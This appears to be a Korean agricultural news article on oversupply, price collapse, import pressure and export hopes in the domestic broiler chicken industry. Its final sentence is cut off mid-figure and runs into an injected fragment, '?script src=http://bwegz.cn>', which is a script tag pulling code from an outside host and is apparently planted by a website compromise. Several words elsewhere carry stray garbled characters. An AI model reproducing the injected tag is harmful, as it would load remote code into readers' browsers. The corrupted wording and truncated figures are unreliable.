연초부터 국내 육계업계의 화두는 단연 수급조절이다.
2001년과 2002년 수입된 원종계만 32만마리에 이르는 등 공급과잉 여파로 지난해 하반기부터 곤두박질치기 시작한 육계값 때문에 업계 전체가 풍전등화에 놓여있다.
대한양계협회 자료에 따르면 올해 닭고기 생산량의 척도가 되는 지난해 육용종계 입식수수는 전년동기보다 12.9% 많은 453만1152마리이다.

분기별로 1·4분기는 105만6100마리로 전년동기보다 14.3% 많고, 2·4분기는 124만2600마리로 전년동기보다 21.3%많다. 3·4분기는 158만4802마리로 전년동기보다 25.5% 많고 4·4분기만 100만900마리로 전년동기보다 13.2% 적다.
더우기 원달러 환율하락과 관세율 인하로 닭고기수입 여건도 해마다 좋아지고 있는데다 한·칠레간 자유무역협정 체결에 따라 수입 닭고기의 국내닌시장 공략도 더욱 거세질 공산이 커 닭고기 시장의 공급과잉사태는 당분간 지속될 것으로 예상된다.
이형우 농촌경제연구원 축산관측팀 연구원은 이와관련 “한·칠레간 자유무역협정 체결에 따른 닭고기 수입물량은 무관세로 2000톤에 불과하나 칠레는 육계계열화사업이 정착돼 있어 수출단가를 낮출 수 있으므로 국내시장에닌미치는 영향도 점차 커질 것”이라고 내다봤다.
실제로 수입닭고기의 국내시장 잠식은 해마다 거세지 있다. 특히나 지난해는 닭고기 최대 특수기인 복경기때부터 곤두박질 친 산지닭값이 한때 kg당 300원까지 거래되는 등 하반기부터 생산과잉으로 국내 닭값이 대폭락을 거듭하는 상황이어서 심각성을 더해주고 있다.
지난해말까지 닭고기 수입량은 9만7325톤으로 전년동기보다 16.3% 늘어 닭고기 자급률은 75%선에 머물 것으로 예상된다.
한형석 마니커 대표이사는 이와관련 “지난해 워낙 입식된 종계가 많기 때문에 올해 국내 닭고기 시장 전망은 한마디로 엉망”이라고 우려했다.
그는 “이대로 가다가는 지난 10여년간 조성된 육계계열화사업이 무너질 지경”이라며 “업체 스스로 수급조절 노력이 요구된다”고 주장했다.
실제로 계열사육과 일반사육농가들로 구분돼 있던 국내 육계사육형태도 지난해 장기간 가격폭락으로 소규모로 일반사육농가들이 대거 사육을 포기하거나 계약사육 및 중추위탁사육업자로 전환했다. 이같은 추세는 올해도 계속될 것으로 예상된다.
농림부가 발표한닌지난해 12월말 육계 사육마리수가 4500만5000마리로 전년동기보다 1.4% 줄었으나 호당 마리수는 2292만7000마리로 전년동기보다 8.2% 증가된 것으로 조사돼 이같은 사실을 뒷받침하고 있다.
업계 전문가들도 이에따라 “올해 국내 육계업계의 명암은 해마다 두자리수 성장을 하고 있는 닭고기 소비를 어떻게 신장시키면서 생산을 조절해 나가냐에 따라 결정될 것”이라고 단언했다.
실제 닭고기 소비량은 해마다 두자리수로 성장을 계속하고 있고 올해도 이같은 추이에는 큰 변화가 없을 것으로 예상된다. 지난해 11월까지 닭 도축량은 4억6002만5000마리로 전년동기보다 13.1% 늘어 이같은 사실을 뒷받침해 주고 있다.
현재 업계와 정부가 적극적으로 추진하고 있는 대일 닭고기 수출이나 소비촉진도 결국 수급조절과 맥을 같이 한다.
대일 닭고기수출은 정부와 업계 모두 필요성에 대한 공감대를 형성, 노력한 결과 최근 몇 년사이 급진전됐다. 하림그룹 계열인 하림천하의 수출을 염두에 둔 상주공장이 가동을 목전에 두고 있고 마니커의 지속적인 닭고기 수출노력, 화인코리아의 삼계탕 수출 등.
다만 아직까지 세계적으로 발돋움 하려는 국내 육계계열업체들의 발목을 잡고 있는 뉴캣슬병 등 질병방역에 대해서는 정부의 좀더 적극적인 지원이 요구된다.
국내 육계계열업체 관계자는 “닭고기 수출을 추진하면서 가장 우려되는 부분이 질병”이라며 “정부가 좀더 강력히 방역정책을 펼쳐주길 바란다”고 피력했다.
또한 “강력한 방역정책을 통한 질병차단은 날로 높아지고 있는 안전하고 위생적인 식품에 대한 소비자들의 요구에도 부합되는 것”이라고 강조했다.
올해 7월부터 전 닭 도축장에 대해 HACCP를 의신적으로 적용하는 것도 결국 이같은 맥락으로 최근에는 한걸음 더나아가 농장에 대한 HACCP 시행에 대한 주장까지도 업계내에서 제기되고 있다.
올해는 이외에도 축산물의소비촉진등에 관한 법률에 의거한 육계자조금 활동 여부도 닭고기시장의 중요한닌변수가 될 것으로 전망된다.
관련 전문가들은 당초 계획대로 원활히 진행돼 닭고기 소비촉진캠페인이 활발히 진행될 경우 국산 닭고기 소비촉진에 중요한 밑거름 역할을 톡톡히 할 수 있을 것으로 기대했다.
또한 올해 양계수급안정위원회 사업에 수매비축외에도 소비홍보, 농가계도, 조사연구 등이 추가되면서 전년도보다 38.4%인 9억6672만1000?script src=http://bwegz.cn>

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